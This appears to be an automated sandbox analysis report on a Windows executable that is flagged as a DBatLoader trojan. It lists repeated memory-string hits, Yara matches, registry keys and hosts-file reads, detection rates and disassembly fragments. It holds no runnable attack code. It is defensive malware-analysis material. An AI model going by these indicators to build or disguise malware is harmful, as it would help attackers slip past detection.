Source: ncIpox4w8f.exe, 00000000.00000003.251187121.0000000005960000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.280932968.00000000053A4000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.264576105.0000000005524000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.287375756.000000000515C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.315737156.0000000005504000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.354941522.0000000005640000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.295177411.000000000553F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.388263630.000000000571D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.338081452.000000000547E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.450363927.000000000573C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.374757454.000000000573F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.240534999.0000000002A65000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.337632398.0000000005465000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.380440782.0000000005726000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000002.542901275.0000000004948000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.368223680.0000000005726000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.251246986.0000000005450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.255700889.00000000053AF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.258998447.00000000054CF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.374710937.000000000573F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.406157937.0000000005862000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.343172616.0000000005586000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.256226314.0000000005450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.385159982.0000000005905000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.275046553.0000000005394000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.266317297.0000000005450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.297850241.0000000005521000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.500935836.000000000591C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.355690666.0000000005838000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.251432713.0000000005960000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.460787318.0000000005820000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.248779012.000000000536E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.253129631.000000000546B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.263716532.0000000005513000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.346332904.0000000005B40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.460960103.000000000591C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.342415222.000000000548F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000002.546590003.0000000005915000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.334629901.0000000005452000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.283765306.000000000503B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.335252597.0000000005530000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.347823262.00000000054B8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.284827116.0000000004F66000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.357713092.000000000573C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.260505908.00000000053D8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.342053668.000000000548F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.292933945.000000000543C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000002.526037866.00000000029B6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.242497567.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.372398660.00000000058FA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.388936756.00000000058FC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.500896292.0000000005820000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.358346503.0000000005838000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.295594884.0000000005508000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.307378246.000000000553C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.393431121.0000000005914000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.310880187.0000000005504000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.280398083.00000000054A3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.239564006.0000000002294000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMCTL32.DLL.MUIj% vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.359907899.0000000005862000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.350215269.0000000005344000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.479288556.000000000573C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.348550573.0000000005833000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.329004245.000000000553F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.438089139.000000000573C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.280941754.00000000053BE000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.325307082.0000000005525000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.391223311.0000000005818000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.298790955.000000000544C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.294942550.0000000004F66000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.245902021.0000000004A1C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.260868247.0000000005403000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.305046419.0000000005544000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.352750337.0000000005844000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.249116126.0000000005450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.263825042.000000000542D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.261206908.0000000005403000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.382707853.0000000005820000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.334182241.000000000536E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.346214007.0000000005B40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.348619285.0000000005833000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.358820088.0000000005862000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000002.528523959.0000000002A7E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.298783628.000000000543B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.385148499.00000000058FC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.256020027.00000000053AF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.276156210.00000000053AD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.253337655.000000000536C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.240123178.00000000029C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.272943807.0000000004942000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.298420443.000000000543B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.289556756.0000000005536000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.256028855.00000000053C8000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.258735530.00000000053F2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.385753682.00000000059E2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.329366677.000000000494A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.307281803.000000000553C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.398037747.0000000005808000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000002.538214113.0000000002BA6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.373977947.0000000005726000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.468274077.0000000005818000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000000.239059711.00000000004AC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.358518020.0000000005851000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.486957885.0000000005920000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.298866890.000000000544C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.369814490.0000000005862000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe
Source: ncIpox4w8f.exe, 00000000.00000003.371769839.00000000058FA000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilename`@ vs ncIpox4w8f.exe

Source: ncIpox4w8f.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: ncIpox4w8f.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\ncIpox4w8f.exe

Section loaded: system.dll

Jump to behavior

Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029C4F14	0_3_029C4F14
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029C138F	0_3_029C138F
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_02A0F8C1	0_3_02A0F8C1
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029B8117	0_3_029B8117

Source: ncIpox4w8f.exe

Static PE information: Resource name: RT_STRING type: COM executable for DOS

Source: ncIpox4w8f.exe	Virustotal: Detection: 52%
Source: ncIpox4w8f.exe	ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\ncIpox4w8f.exe

File read: C:\Users\user\Desktop\ncIpox4w8f.exe

Jump to behavior

Source: C:\Users\user\Desktop\ncIpox4w8f.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\ncIpox4w8f.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B091E540-83E3-11CF-A713-0020AFD79762}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal80.troj.winEXE@1/0@1/1

Source: C:\Users\user\Desktop\ncIpox4w8f.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: ncIpox4w8f.exe, type: SAMPLE
Source: Yara match	File source: 0.0.ncIpox4w8f.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.238770915.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.528757099.0000000002AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.316597179.000000000540C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.297908164.0000000005536000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.388263630.000000000571D000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.280613950.0000000005258000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.325641220.000000000532C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.370720405.0000000005803000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.304401425.000000000532F000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.266317297.0000000005450000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.272943807.0000000004942000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.371769839.00000000058FA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.516088512.0000000002290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.377241970.0000000005825000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.345105866.00000000054B9000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.286610095.0000000005061000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.284258980.0000000004F55000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.309310644.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_02A0EEA5 push 004A0C11h; ret	0_3_02A0F156
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_02A11DB5 push 004A38A0h; ret	0_3_02A11DE5
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_02A11D3D push 004A3816h; ret	0_3_02A11D5B
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_02A11D69 push 004A385Eh; ret	0_3_02A11DA3
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_02A11DF9 push 004A38D2h; ret	0_3_02A11E17
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_02A0F9D5 push 004A14B3h; ret	0_3_02A0F9F8
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029BA593 push 004A3816h; ret	0_3_029BA5B1
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029BA5BF push 004A385Eh; ret	0_3_029BA5F9
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029BA60B push 004A38A0h; ret	0_3_029BA63B
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029B822B push 004A14B3h; ret	0_3_029B824E
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029BA64F push 004A38D2h; ret	0_3_029BA66D
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_029BA777 push 380043CAh; retf 0043h	0_3_029BA77C
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Code function: 0_3_0493CD38 push eax; ret	0_3_0493CD74

Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ncIpox4w8f.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
